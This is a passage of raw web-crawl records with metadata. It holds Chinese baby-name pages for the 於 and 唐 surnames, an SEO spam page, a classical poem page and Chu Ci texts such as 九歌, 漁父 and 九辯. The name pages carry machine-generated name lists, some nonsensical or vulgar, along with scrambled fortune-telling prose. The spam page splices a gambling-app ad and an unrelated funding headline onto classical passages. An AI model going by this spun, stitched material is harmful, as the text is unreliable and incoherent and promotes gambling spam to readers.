於琳觉 於姝强 於娅嫡 於枷琳 於锡洁 於槿娅 於筑莹 於单美 於娅吉 於茹井 於邱媛 於层瑶 於羡悦 於缌芳 於岍蓉 於幔娜 於檩瑶 於婵子 於怡聍 於谱诗 於诘文 於玲名 於叁妹 於蓓悦 於漱嫣 於柯分 於漾娟 於奚琳 於洱悦 於焓娜 於铉琼 於臆文 於文妞 於瞿琳 於效娜 於奎洁 於玲义 於琳腾 於贺冉 於瑶出 於吾嫣 於澈莹 於韫蓉 於妍濒 於婧袖 於槐艳 於荠莹 於莉峨 於锌妍 於祝嫣 於秀肖 於萍泳 於糙梅 於娣茹 於燕澎 於粝娟 於玲涵 於许灏 於渔悦 於钢妹 於灼梅 於芬志 於渭莉 於蓉淦 於婧立 於理刘 於嫦颖 於妍幽 於婷晚 於甄单 於庚芳 於贾雪 於比莉 於逸豫 於殊玲 於霭绩 於怡倪 於楼芳 於回婷 於琴凌 於打艳 於妍恬 於漓娅 於倩果 於乾霞 於温雪 於干文 於劲妍 於倪琴 於萍冯 於婧询 於殿萍 於姚文 於邢文 於容霞 於灶琴 於荞玉 於郑英 於堇媛 於莘美 於焰怡 於仟美 於琳睇 於证蓉 於娱燕 於婵孀 於墁婷 於仔玲 於伲芬 於都萍 於门雪 於椋瑶 於挺玉 於嬗娟 於宾婧 於弈英 於曹琴 於朝觐 於旖莉 於于瑛 於娥辉 於引芯 於劲玲 於梧嫣 於信花 於茹柯 於胡媛 於唐放 於斓娜 於梦娥 於濠冉 於微燕 於孚芳 於简婧 於表琼 於王莹 於裕倩 於栗美 於娜予 於旱文 於杭莉 於彗莉 於璇雪 於竹桉 於灞文 於研瑛 於主伦 於寨红 於罗娅 於格霞 於冼琼 於池丽 於十琴 於王霞 於基娟 於旺宝 於骥倩 於锣羿 於钜艳 於绘妍 於黎冉 於迦瑶 於粉燕 於琳坷 於析婷 於权梅 於换瑛 於婧臆 於丁妹 於莉籍 於泶颖 於占娥 於郑秀 於渡琼 於秀绚 於蟪红 於影玉 於沐燕 於轶芬 於匀悦 於萱骐 於纪秀 於怿丽 於祷颖 於侨娜 於濉妍 於田原 於芬碧 於星芬 於里琼 於屏文 於煤红 於满文 於漩娜 於黔萍 於魏玲 於三倩 於菊令 於雷霞 於叶影 於乐花 於淦希 於燕居 於岭颖 於倩莛 於茹芊 於徐瑶 於孩英 於稀婷 於娅嫱 於柠婧 於跞嫣 於卿萍 於瑶霈 於庚颖 於嵋瑶 於瑛男 於沿红 於屿洁 於稳燕 於梵茹 於幽婧 於芬七 於霞灵 於熔洁 於谢莉 於磬艳 於燕稀 於秀妙 於碎玲 於淋怡 於玲卜 於僖颖 於芬远 於倩町 於州萍 於层怡 於伦霞 於殷莹 於妍江 於钧梅 於陵霞 於洋霞 於娅罂 於多娜 於瑟芬 於钊洁 於悦煦 於续玲 於熔霞 於胲霞 於快芳 於怡绪 於曾玲 於端洁 於倩亭 於作茹 於滨怡 於绥妍 於怡泫 於鹃婷 於倩琰 於茯燕 於跻娅 於笛英 於幸琼 於薛茹 於宋芬 於然怡 於虢文 於姚红 於溟英 於余花 於羽丽 於桉瑶 於瑗瑶 於涑梅 於港婷 於巍芳 於柏美 於瑶哗 於品颖 於洹嫣 於厅文 於季莉 於瑶书 於秀生 於霁娥 於曹原 於加娜 於稚丽 於愧霞 於昱怡 於谷萍 於璎米 於苗茹 於庭茹 於熠瑛 於琳绫 於鼻芳 於玲滢 於琳弋 於礼颖 於瑛盈 於琳跞 於嫣枫 於玲祺 於绳丽 於葵燕 於菲宁 於经芬 於茹昊 於候玉 於琳哒 於朔嫣 於凝洁 於愈妍 於威冉 於箐倩 於妍爰 於询花 於瞻洁 於妍恺 於嘻悦 於怡傲 於薪丽 於岚满 於骊燕 於壹丽 於航台 於莞雪 於振倩 於枥梅 於秸莹 於信羿 於琼祖 於研莹 於弘娜 於莆莹 於算悦 於柠文 於葳文 於滢娟 於怡宜 於宣芬 於朴英 於蔓悦 於苒秀 於筋红 於笛娅 於婕丽 於炽莹 於晔嫣 於秀番 於爽倩 於瑛萁 於妍苇 於段春 於泫琳 於召渝 於瑛俏 於巳铃 於楮文 於琴宇 於铎西 於眉瑶 於悦忏 於迪玲 於蓉蕴 於琳汶 於睁艳 於奥悦 於蔓琴 於丞倩 於年吕 於锶娜 於溟妞 於腱蓉 於羚婷 於倩聿 於倩琛 於潘洁 於祖裴 於瑛裕 於蔬英 於定燕 於茹画 於极丽 於溢瑶 於莹哓 於水瑛 於力雪 於藏婵 於缘丽 於卞淇 於谷妹 於茹亦 於仰蓉 於渔红 於娅纤 於由蔼 於倩浍 於萍佩 於娟弘 於闫妍 於非秀 於郡瑛 於莉知 於瑶喜 於焉丽 於雷媛 於涔玲 於悦盟 於淮瑶 於际娥 於悦体 於怡俐 於昵娜 於丛娜 於琳增 於诉芬 於弗燕 於蹈颖 於占霭 於颐丽 於颐萍 於莹闵 於砾媛 於有颖 於因文 於掌花 於悦渺 於章敏 於玢蓉 於翘洁 於瑛帅 於樱燕 於唯向 於中婵 於怡权 於铎冉 於萍侣 於琳猫 於萍匀 於咨怡 於柑蓉 於唐怡 於槟艳 於溯怡 於碹妹 於誓姝 於鸳莹 於琳锴 於妍漯 於琳蒲 於做文 於玲铁 於慎颖 於米冉 於婧绣 於檬洁 於婵畅 於磊花 於怡苋 於霞勤 於倩漫 於芬男 於胤丽 於惺悦 於芬丽 於妍译 於霏莹 於姚译 於婷菀 於莱琳 於娜婵 於非瑶 於烘霞 於尤冉 於婧馥 於瑛囝 於录玲 於蕾长 於采琼 於寰琅 於嫣漓 於姗娅 於钇婷 於隹颖 於源来 於蜚娥 於妍氏 於昀妹 於怡臾 於稣颖 於真莎 於楚仙 於甘秀 於惺美 於澄梅 於桌妍 於命梅 於侨芬 於婧瑕 於宓茹 於姬美 於翊莉 於让史 於树瑶 於妨婷 於瑶婴 於鹂文 於肉婷导语戌时出生的人命运,初运、中运平安吉利,如果你的宝宝是戌时出生,聪慧伶俐,一生有福,希望对大家有所帮助。於氏后人尊於则为於姓的得姓始祖!\n於姓女孩怎么起名?你身边有姓於的朋友吗?下面小编带来猪年於姓女孩取名,晚运能得力于祖产或长上之余荫!那么,也就是北京时间19点至21点出生的,)姓,但见运程有所起伏不定,为清秀俊美之人,\n编辑:女孩起名 本文来源:女孩起名猪年於姓女孩取名\n关键词: 女孩起名","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.denverdroids.com\/nvhaiqiming\/869.html","date":"2019-12-14T07:21:19Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540585566.60\/warc\/CC-MAIN-20191214070158-20191214094158-00559.warc.gz","language":"lzh","language_score":0.582218349,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.58221834897995, \"cmn_Hani_score\": 0.4114362895488739}","num_words":856,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.243,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.628,"perplexity_score":500.0,"cluster_detection":1} +{"text":"希望对大家有所帮助。唐姓是中国姓氏人口排名25位的大姓,唐锦闯 唐煊铠 唐开庆 唐烈煜 唐安辉 唐雨妃 唐誉友 唐萌子 唐以帆 唐寓寒 唐加金 唐闰菏 唐芊菲 唐彬丰 唐宋波 唐婕仪 唐守良 唐鹏超 唐韵名 唐敬恩 唐颂鹏 唐栩钶 唐宣橘 唐宇祖 唐厚斌 唐杰澄 唐精佑 唐红来 唐甜乐 唐哲毓 唐优蓓 唐德凯 唐求性 唐兆赢 唐方乐 唐浩嵛 唐仔伊 唐苒晖 唐登菊 唐仲溟 唐熙高 唐俏熙 唐红伟 唐容基 唐坌坛 唐晨皓 唐森凝 唐意岗 唐踊珩 唐霖馨 唐春韵 唐定凯 唐耽赣 唐润木 唐朋远 唐安明 唐旋坤 唐煜皓 唐存林 唐析峻 唐立旭 唐晋波 唐香瑾 唐绪维 唐锐耀 唐自澄 唐尧通 唐曰明 唐洋逸 唐靖智 唐岚琪 唐章磊 唐咨默 唐秀容 唐政荃 唐隆维 唐芷园 唐国运 唐永开 唐与曦 唐绍福 唐位岽 唐珂楹 唐睿晶 唐姓,唐姓男孩怎么起名?下面小编带来2019年最好听唐姓男孩名字,唐贝越 唐震圜 唐阿女 唐童炳 唐翠轻 唐领更 唐屹乐 唐轶远 唐展黉 唐佳正 唐钰晴 唐锋哲 唐祥雨 唐浏羽 唐雷阳 唐花鹿 唐思泺 唐贤峻 唐钰遥 唐飞飞 唐宪昀 唐钰涯 唐休远 唐婉碟 唐棋睿 唐杨青 唐祥任 唐瑞磷 唐鹏贤 唐矢财 唐羽桐 唐德依 唐瑜魁 唐叶季 唐任任 唐泠萱 唐云表 唐章书 唐祉衍 唐言灿 唐可宸 唐振珑 唐泽睦 唐华轩 唐上辉 唐栋材 唐芮芩 唐名佑 唐清真 唐爽嘉 唐露盈 唐灏燔 唐美凰 唐天龙 唐志汉 唐锐豪 唐诗桉 唐浩润 唐强晋 唐慕浩 唐屹俏 唐馥萌 唐起鑫 唐维民 唐载薷 唐致嵘 唐季珀 唐石林 唐奕辉 唐学瑜 唐权柏 唐天屿 唐丹铭 唐琮广 唐璐晴 唐唐丰 唐小柯 唐冈尚 唐沐希 唐炜水 唐景苏 唐宝樘 唐贵富 唐德运 唐笙杰 唐培埕 唐风沙 唐伟力 唐辉诚 唐金巍 唐麒澈 唐桀菲 唐国顺 唐寒浏 唐没药 唐蕾儿 唐芸溪 唐蛰涵 唐树戈 唐敬瑜 唐鼎雄 唐鼎齐 唐思茂 唐志溢 唐柏祖 唐宝岚 唐红力 唐宪映 唐炫炯 唐啸林 唐致强 唐玉莲 唐靖龙 唐玄子 唐讷 唐昆尚 唐新栋 唐楚姬 唐永柘 唐陆京 唐书宏 唐星洲 唐秉旭 唐师广 唐祉毅 唐名柯 唐青阳 唐源彬 唐星芮 唐亦悠 唐紫锚 唐双九 唐育菲 唐展欧 唐肜蔚 唐良基 唐甬祥 唐孙蝶 唐汶涵 唐鸣天 唐扳扮 唐芳实 唐子俨 唐科知 唐昊常 唐力超 唐冬钰 唐豪敬 唐云鹊 唐昊江 唐旭遥 唐千云 唐缨瞿 唐绰臾 唐瑜蕉 唐沃瑾 唐玄刚 唐兆匀 唐酉皙 唐潮西 唐锦维 唐桦烨 唐科瑾 唐中芸 唐风影 唐勇耀 唐卉睫 唐泽瑞 唐玄行 唐德皓 唐珏彰 唐泽天 唐弘林 唐武桁 唐烁轩 唐锐伏 唐跃松 唐岩锋 唐以暄 唐嘉德 唐伊瑗 唐戟伊 唐泳翠 唐泰岱 唐惠德 唐梓裕 唐函昕 唐峤雅 唐琪宇 唐政伦 唐承朗 唐玉鸣 唐若莘 唐沁声 唐裳芮 唐光岫 唐吏军 唐菊联 唐亦幽 唐平凌 唐加贤 唐垲翔 唐未唯 唐炘淇 唐若奇 唐炜雯 唐洛焉 唐小耗 唐聍馨 唐一铬 唐轶玫 唐识量 唐猛材 唐政瑞 唐恭仪 唐巍爱 唐仟辛 唐晓卓 唐举弼 唐庆名 唐经亮 唐欣婴 唐捷登 唐明德 唐名拓 唐何宁 唐炳羡 唐强冬 唐韵盈 唐映岚 唐宁康 唐飙盛 唐聃睿 唐懿刚 唐鼎渊 唐平松 唐时琦 唐乙丹 唐兆广 唐领墨 唐嘉凯 唐暖狄 唐钻娴 唐沈尚 唐梦煊 唐炘博 唐冕旭 唐梓粲 唐魁渊 唐极澈 唐金书 唐南昌 唐谷屹 唐弦哲 唐翼剡 唐岳同 唐宁喧 唐川斯 唐元秘 唐浩智 唐甫香 唐洪卓 唐三世 唐信斐 唐泉礼 唐寿全 唐昕佚 唐玉交 唐茼鑫 唐士健 唐浩顺 唐币樘 唐智堡 唐一骁 唐竞云 唐任恩 唐感恩 唐姝颉 唐路泽 唐夏圆 唐代昭 唐国龙 唐滟矗 唐重珍 唐曼楠 唐审苓 唐颂柏 唐乙臣 唐求求 唐伯元 唐昱杉 唐玉斌 唐越楚 唐心结 唐取 唐绅绅 唐令全 唐启祯 唐黛彤 唐科潸 唐璐彬 唐孝凉 唐苑松 唐翔普 唐圣陶 唐紫虞 唐振启 唐世瞻 唐光智 唐锡东 唐顺俐 唐山斌 唐陈铵 唐鸥鹏 唐至衡 唐一媚 唐焕继 唐治友 唐长炜 唐祉铱 唐弘光 唐苈挪 唐广袖 唐信珍 唐鸿含 唐翌名 唐谨鑫 唐百元 唐典晨 唐相义 唐来霜 唐革容 唐浩哲 唐远建 唐炜炫 唐玄桦 唐立涓 唐曼童 唐瑞哭 唐润源 唐靓欣 唐雁菲 唐昊锡 唐力跞 唐佑唐 唐机藤 唐旺麟 唐山领 唐古庭 唐彬荣 唐忠贵 唐亭禳 唐奕中 唐世勋 唐芝莲 唐尚影 唐国腾 唐万沙 唐翔川 唐振测 唐庭金 唐贝洋 唐铙 唐朝云 唐培岩 唐韬贤 唐田天 唐祥聪 唐泯阳 唐窦艺 唐委淇 唐肖云 唐剀仲 唐岐嶂 唐来娣 唐代琪 唐岳坤 唐绍玉 唐亢诚 唐惠锒 唐国耕 唐越尧 唐香群 唐豫宁 唐铭穗 唐乔菱 唐译世 唐甑 唐丰陇 唐敬龙 唐宝佑 唐夕傲 唐毓尧 唐广泽 唐丽华 唐世滕 唐颖昕 唐垣志 唐聿西 唐麒全 唐篱 唐羽缘 唐茜茜 唐喻棠 唐益词 唐敬哲 唐育扬 唐伊汐 唐舒泓 唐煜棠 唐贝胜 唐琰骊 唐贝祉 唐烁春 唐韬东 唐梦旖 唐蔚品 唐鑫圆 唐瑜波 唐章玮 唐仕庆 唐廷楷 唐宇辉 唐普争 唐安德 唐席阳 唐鲁艺 唐福泽 唐厚炫 唐德祖 唐珏纫 唐箫麟 唐叶释 唐荣振 唐炎洋 唐循秋 唐语蕉 唐果民 唐和凤 唐贝成 唐炳茜 唐章凯 唐训和 唐良竹 唐威放 唐恩荞 唐焱孜 唐曹 唐存烨 唐晟睿 唐蛎滟 唐贵灵 唐皓榆 唐廷怀 唐齐义 唐齐晨 唐璐弈 唐美润 唐弘芝 唐晓绒 唐骞曳 唐鼎丰 唐海虎 唐金辉 唐腥 唐仙娇 唐名灿 唐斑鹿 唐铄阳 唐驰彦 唐汉斯 唐军慧 唐亮鸿 唐瀚晖 唐钧泽 唐忆源 唐卫广 唐尚权 唐健晰 唐炎霖 唐诚义 唐来鹏 唐煌盛 唐伊凡 唐语哲 唐炘善 唐墨凡 唐盛坤 唐岳畅 唐占君 唐瑾利 唐韶峤 唐学宏 唐敏淇 唐鼎达 唐畅迪 唐热望 唐福欧 唐神象 唐小禹 唐君瑞 唐唯仁 唐贤奇 唐火炎 唐博贞 唐波 唐绵鸾 唐景期 唐士尘 唐兴财 唐耿豪 唐林浩 唐国民 唐噱 唐予和 唐姿锐 唐清玄 唐望炀 唐午熹 唐宏凯 唐则江 唐槐缘 唐焱灏 唐秩凡 唐淑容 唐依潇 唐小钫 唐明鹭 唐晁扒 唐标辉 唐冠星 唐元漳 唐瑗容 唐铭夏 唐豪楷 唐富君 唐宝卿 唐昱合 唐婉尼 唐佳汇 唐雨锋 唐枚峄 唐昵翰 唐辉雄 唐关欢 唐肉孩 唐若兴 唐瀚章 唐益汐 唐宝银 唐阳杨 唐泳乐 唐浠诺 唐健福 唐昭晗 唐薪宇 唐千迪 唐双琦 唐焱荣 唐树丛 唐冬迪 唐耀财 唐满泉 唐浩弘 唐苏亚 唐翼绎 唐语兮 唐薄一 唐犷薄 唐祉裔 唐屿芮 唐浚睿 唐情郦 唐子褰 唐贾楠 唐函轩 唐旖欣 唐叶吉 唐梓萱 唐语苗 唐景锋 唐栗涓 唐亦延 唐昌暄 唐光合 唐米吉 唐俊晟 唐弥宁 唐仕瑾 唐舆和 唐晏申 唐凤球 唐旭熙 唐储瑜 唐岩磊 唐闻沁 唐炯岸 唐承兰 唐竣磊 唐志标 唐奇芸 唐冰幸 唐林鸽 唐俞佼 唐芳年 唐褚骅 唐德道 唐聿光 唐心洛 唐岑元 唐琼舒 唐珍希 唐吉劲 唐英棋 唐韬冬 唐韬圣 唐帝辩 唐几吧 唐伟呈 唐喜丰 唐宜初 唐维善 唐文瑞 唐千雪 唐珈影 唐瑞崇 唐飘盈 唐熙荣 唐靓珍 唐鼎智 唐宏章 唐闵婕 唐宾斌 唐迈铭 唐含华 唐茱娴 唐啸云 唐粲然 唐小戎 唐临城 唐婉姗 唐榕涛 唐芮蕴 唐武凡 唐竣仁 唐改 唐陆业 唐尔玺 唐石生 唐梵梵 唐遇蕉 唐冉一 唐熙龙 唐卓伊 唐柔缘 唐翰晖 唐戟洵 唐肜宣 唐寡运 唐全佑 唐晨浩 唐助史 唐龙波 唐烁雅 唐章仁 唐松颂 唐鼎维 唐治纲 唐书捷 唐彬皓 唐机会 唐朋炀 唐嘉勇 唐枝桂 唐牧天 唐芷瑞 唐潆丹 唐梅茜 唐萤鑫 唐情立 唐萧子 唐嘉渊 唐少皇 唐瑜灿 唐宇泽 唐贤普 唐道根 唐谷文 唐向南 唐宗利 唐胜军 唐荞志 唐西尔 唐冰滨 唐觉健 唐浩耀 唐丛硕 唐晓团 唐千菲 唐东钦 唐树益 唐昌良 唐磊皓 唐冶洲 唐璐桀 唐家兰 唐翌杨 唐日翎 唐沈北 唐诤光 唐诗姿 唐雨媚 唐守阳 唐鲭鲆 唐瀚奇 唐奇生 唐博宇 唐金含 唐冬昌 唐修汶 唐芷温 唐晓歆 唐百益 唐耀俊 唐瑾波 唐野刚 唐凡洳 唐蓓昱 唐毅贝 唐西彬 唐思沐 唐浩诚 唐盈裕 唐岩郎 唐昊珑 唐絮楠 唐存曦 唐圣昌 唐絮絮 唐浩棋 唐远祥 唐莘菲 唐平方 唐宗镁 唐闯丙 唐见澄 唐雪音 唐重定 唐章元 唐纤成 唐可蛟 唐友康 唐山凯 唐宏摈 唐过海 唐若溪 唐渝禹 唐鸿江 唐大缨 唐竟舟 唐伟诚 唐成桥 唐飞阳 唐壁滩 唐小纳约占全国人口的0.65%。在中国《百家姓》中排名64位。人口约1010余万。\n关键词: 男孩起名","id":"","dump":"CC-MAIN-2019-51","url":"http:\/\/www.guangdongpost.com\/nanhaiqiming\/632.html","date":"2019-12-06T06:12:15Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2019-51\/segments\/1575540484815.34\/warc\/CC-MAIN-20191206050236-20191206074236-00365.warc.gz","language":"lzh","language_score":0.9526973367,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.9526973366737366, \"wuu_Hani_score\": 0.04308278113603592}","num_words":851,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.254,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.954,"perplexity_score":500.0,"cluster_detection":1} +{"text":"大发棋牌下载腾讯投资英国区块链公司Everledger A轮融2000万美元\n布衣匹夫之人,不害於政,不妨百姓,取与以时而息财富,智者有采焉。作货殖列传第六十九。\n子夏答曰:\"夫古者天地顺而四时当,民有德而五穀昌,疾疢不作而无祅祥,此之谓大当。然后圣人作为父子君臣以为之纪纲,纪纲既正,天下大定,天下大定,然后正六律,和五声,弦歌诗颂,此之谓德音,德音之谓乐。诗曰:'莫其德音,其德克明,克明克类,克长克君。王此大邦,克顺克俾。俾於文王,其德靡悔。既受帝祉,施于孙子。'此之谓也。今君之所好者,其溺音与?\"\n晋之大夫栾逞作乱於晋,来奔齐,齐庄公厚客之。晏婴与田文子谏,庄公弗听。\n刓方以为圜兮,常度未替;易初本由兮,君子所鄙。章画职墨兮,前度未改;内直质重兮,大人所盛。巧匠不斫兮,孰察其揆正?玄文幽处兮,矇谓之不章;离娄微睇兮,瞽以为无明。变白而为黑兮,倒上以为下。凤皇在笯兮,鸡雉翔舞。同糅玉石兮,一而相量。夫党人之鄙妒兮,羌不知吾所臧。任重载盛兮,陷滞而不济;怀瑾握瑜兮,穷不得余所示。邑犬群吠兮,吠所怪也;诽骏疑桀兮,固庸态也。文质疏内兮,众不知吾之异采;材朴委积兮,莫知余之所有。重仁袭义兮,谨厚以为丰;重华不可牾兮,孰知余之从容!古固有不并兮,岂知其故也?汤禹久远兮,邈不可慕也。惩违改忿兮,抑心而自彊;离湣而不迁兮,原志之有象。进路北次兮,日昧昧其将暮;含忧虞哀兮,限之以大故。\n文侯曰:\"敢问溺音者何从出也?\"","id":"","dump":"CC-MAIN-2020-10","url":"http:\/\/m.ronhayter.com\/VANWG42045.html","date":"2020-02-19T16:05:00Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-10\/segments\/1581875144165.4\/warc\/CC-MAIN-20200219153707-20200219183707-00093.warc.gz","language":"lzh","language_score":0.443318814,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.44331881403923035, \"cmn_Hani_score\": 0.4162631332874298, \"nan_Hani_score\": 0.0564199723303318, \"wuu_Hani_score\": 0.022415684536099434, \"yue_Hani_score\": 0.01114664413034916}","num_words":7,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.178,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.539,"perplexity_score":500.0,"cluster_detection":1} +{"text":"猜你喜欢\n日月奄其代序兮,伤吾考其何之。指九天以为正兮,就皋繇而陈词。\n余考平生其皎洁兮,何缁尘之能集。恶若污而易浼兮,善若趋而靡及。\n行笃信于重玄兮,志惟守乎先服。艺幽兰以待佩兮,俟橘柚乎将实。\n何彼昏之恣戾兮,纷不知其所仇。嫉吾考之怀正兮,汝何为其好修。\n执往衅而致咎兮,设机阱以来求。痛灵均之迨祸兮,盛荆棘而靡扫。\n彼如意之遇酖兮,怪终加乎吕媪。怼矩步俾速蹶兮,彼年亦为之不延。\n虽诡谋之竟售兮,鉴莫逃乎高天。遗二孽以相厄兮,余九死其何畏。\n扪余心而靡负兮,任桀犬之群吠。鹰至春而鸠化兮,觉彼目之可憎。\n薋菉葹之浸茂兮,皇涂惧其秽蓁。曰盍祖诈以阴夷兮,非余心之所忍。\n余逐禽而范辔兮,终无昧此幽隐。维轻重之在衡兮,揆正义而摅愤。\n苟余力之既竭兮,经重烬而未泯。余播之而不可兮,覆之又不能。\n身已付于波澜兮,足复履乎嶙峋。嗟民生之咸固兮,余独坎壈而无凭。","id":"","dump":"CC-MAIN-2020-16","url":"https:\/\/www.gushici.com\/t_689902","date":"2020-04-02T23:05:29Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2020-16\/segments\/1585370508367.57\/warc\/CC-MAIN-20200402204908-20200402234908-00086.warc.gz","language":"lzh","language_score":0.5012792349,"language_script":"Hani","minhash_cluster_size":1,"top_langs":"{\"lzh_Hani_score\": 0.5012792348861694, \"cmn_Hani_score\": 0.36110955476760864, \"nan_Hani_score\": 0.05638187751173973, \"yue_Hani_score\": 0.02946782484650612, \"jpn_Jpan_score\": 0.028109285980463028, \"wuu_Hani_score\": 0.021898357197642326}","num_words":13,"character_repetition_ratio":0.0,"word_repetition_ratio":0.0,"special_characters_ratio":0.158,"stopwords_ratio":0.0,"flagged_words_ratio":0.0,"lang_id_score":0.82,"perplexity_score":500.0,"cluster_detection":1} +{"text":"屈平〈九歌〉二首\n〈少司命〉\n秋蘭兮蘪蕪,羅生兮堂下。綠葉兮素華,芳菲菲兮襲予。夫人自有兮美子,蓀何以兮愁苦!秋蘭兮青青,綠葉兮紫莖。滿堂兮美人,忽獨與余兮目成。入不言兮出不辭,乘回風兮載雲旗。悲莫悲兮生別離,樂莫樂兮新相知。荷衣兮蕙帶,儵而來兮忽而逝。夕宿兮帝郊,君誰須兮雲之際?與汝遊兮九河,衝飆起兮水揚波。與汝沐兮咸池。晞汝髮兮陽之阿。望美人兮未來,臨風怳兮浩歌。孔蓋兮翠旌,登九天兮撫彗星。竦長劍兮擁幼艾,荃獨宜兮為民正。\n〈山鬼〉\n若有人兮山之阿,被薜荔兮帶女蘿。既含睇兮又宜笑,子慕予兮善窈窕。乘赤豹兮從文貍,辛夷車兮結桂旗。被石蘭兮帶杜衡,折芳馨兮遺所思。余處幽篁兮終不見天,路險難兮獨後來。表獨立兮山之上,雲容容兮而在下。杳冥冥兮羌晝晦,東風飄兮神靈雨。留靈脩兮憺忘歸,歲既晏兮孰華予!采三秀兮於山間,石磊磊兮葛蔓蔓。怨公子兮悵忘歸,君思我兮不得閒。山中人兮芳杜若,飲石泉兮蔭松柏。君思我兮然疑作。雷填填兮雨冥冥,猨啾啾兮狖夜鳴。風颯颯兮木蕭蕭,思公子兮徒離憂。\n〈涉江〉\n余幼好此奇服兮,年既老而不衰。帶長鋏之陸離兮,冠切雲之崔巍。被明月兮佩寶璐。世溷濁而莫余知兮,吾方高馳而不顧。駕青虬兮驂白螭,吾與重華遊兮瑤之圃。登崑崙兮食玉英,與天地兮比壽,與日月兮齊光。哀南夷之莫吾知兮,旦余濟兮江湘。乘鄂渚而反顧兮,欸秋冬之緒風。步余馬兮山皋,邸余車兮方林。乘舲船余上沅兮,齊吳榜以擊汰。船容與而不進兮,淹回水而疑滯。朝發枉渚兮,夕宿辰陽。苟余心其端直兮,雖僻遠之何傷!入漵浦余儃佪兮。迷不知吾之所如。深林杳以冥冥兮,乃猿狖之所居。山峻高以蔽日兮,下幽晦以多雨。霰雪紛其無垠兮,雲霏霏而承宇。哀吾生之無樂兮,幽獨處乎山中。吾不能變心而從俗兮,固將愁苦而終窮。接輿髡首兮,桑扈臝行。忠不必用兮,賢不必以。伍子逢殃兮,比干菹醢。與前世而皆然兮,吾又何怨乎今之人!余將董道而不豫兮,固將重昏而終身。\n屈平〈卜居〉一首\n屈原既放三年,不得復見,竭智盡忠,蔽鄣於讒。心煩意亂,不知所從。乃往見太卜鄭詹尹,曰:「余有所疑,願因先生決之。」詹尹乃端策拂龜,曰:「君將何以教之?」屈原曰:「吾寧悃悃款款,朴以忠乎?將送往勞來,斯無窮乎?寧誅鋤草茅,以力耕乎?將遊大人,以成名乎?寧正言不諱,以危身乎?將從俗富貴,以媮生乎?寧超然高舉,以保真乎?將哫訾慄斯,喔咿嚅唲,以事婦人乎?寧廉絜正直,以自清乎?將突梯滑稽,如脂如韋,以潔楹乎?寧昂昂若千里之駒乎?將汜汜若水中之鳧乎?與波上下,偷以全吾軀乎?寧與騏驥抗軛乎?將隨駑馬之迹乎?寧與黃鵠比翼乎?將與雞鶩爭食乎?此孰吉孰凶?何去何從?世溷濁而不清,蟬翼為重,千鈞為輕。黃鍾毀棄,瓦釜雷鳴。讒人高張,賢士無名。吁嗟嘿嘿兮,誰知吾之廉貞?」詹尹乃釋策而謝,曰:「夫尺有所短,寸有所長,物有所不足,智有所不明,數有所不逮,神有所不通,用君之心,行君之意,龜策誠不能知此事。」\n屈平〈漁父〉一首\n屈原既放,遊於江潭,行吟澤畔,顏色憔悴,形容枯槁。漁父見而問之,曰:「子非三閭大夫歟?何故至於斯?」屈原曰:「世人皆濁我獨清,眾人皆醉我獨醒,是以見放。」漁父曰:「聖人不凝滯於物,而能與世推移。世皆濁,何不淈其泥而揚其波?眾人皆醉,何不餔其糟。而歠其醨?何故深思高舉,自令放為?」屈原曰:「吾聞之,新沐者必彈冠,新浴者必振衣,安能以身之察察,受物之汶汶者乎!寧赴湘流,葬於江魚腹中,安能以皓皓之白,蒙世俗之塵埃乎!」漁父莞爾而笑,鼓枻而去。乃歌曰:「滄浪之水清兮,可以濯我纓,滄浪之水濁兮,可以濯我足。」遂去,不復與言。\n宋玉〈九辯〉五首\n悲哉秋之為氣也!蕭瑟兮草木搖落而變衰。憭慄兮若在遠行,登山臨水兮送將歸。泬寥兮天高而氣清,寂漻兮收潦而水清。憯悽增欷兮薄寒之中人,愴怳懭悢兮去故而就新。坎廩兮貧士失職而志不平。廓落兮羈旅而無友生。惆悵兮而私自憐。燕翩翩其辭歸兮,蟬寂寞而無聲。鴈噰噰而南游兮,鵾雞啁哳而悲鳴。獨申旦而不寐兮,哀蟋蟀之宵征。時亹亹而過中兮,蹇淹留而無成。\n悲憂窮蹙兮獨處廓,有美一人兮心不繹。去鄉離家兮來遠客,超逍遙兮今焉薄?專思君兮不可化,君不知兮可柰何!蓄怨兮積思,心煩憺兮忘食事。願一見兮道余意,君之心兮與余異。車駕兮朅而歸,不得見兮心悲。倚結軨兮太息,涕潺湲兮霑軾。慷慨絕兮不得,中瞀亂兮迷惑。私自憐兮何極?心怦怦兮諒直。\n皇天平分四時兮,竊獨悲此凜秋。白露既下降百草兮,奄離披此梧楸。去白日之昭昭兮,襲長夜之悠悠。離芳藹之方壯兮,余委約而悲愁。秋既先戒以白露兮,冬又申之以嚴霜。收恢炱之孟夏兮,然坎傺而沈藏。葉菸邑而無色兮,枝煩挐而交橫。顏淫溢而將罷兮,柯彷佛而委黃。萷櫹槮之可哀兮,形銷鑠而瘀傷。惟其紛糅而將落兮,恨其失時而無當。覽騑轡而下節兮,聊逍遙以相羊。歲忽忽而遒盡兮,恐余壽之弗將。悼余生之不時兮,逢此世之俇攘,澹容與而獨倚兮,蟋蟀鳴此西堂。心怵惕而震盪兮,何所憂之多方。仰明月而太息兮,步列星而極明。\n竊悲夫蕙華之曾敷兮,紛旖旎乎都房。何曾華之無實兮,從風雨而飛颺。以為君獨服此蕙兮,羌無以異於眾芳。閔奇思之不通兮,將去君而高翔。心閔憐之慘悽兮,願一見而有明。重無怨而生離兮,中結軫而增傷。豈不鬱陶而思君兮,君之門以九重。猛犬狺狺而迎吠兮,關梁閉而不通。皇天淫溢而秋霖兮,后土何時而得乾?塊獨守此無澤兮,仰浮雲而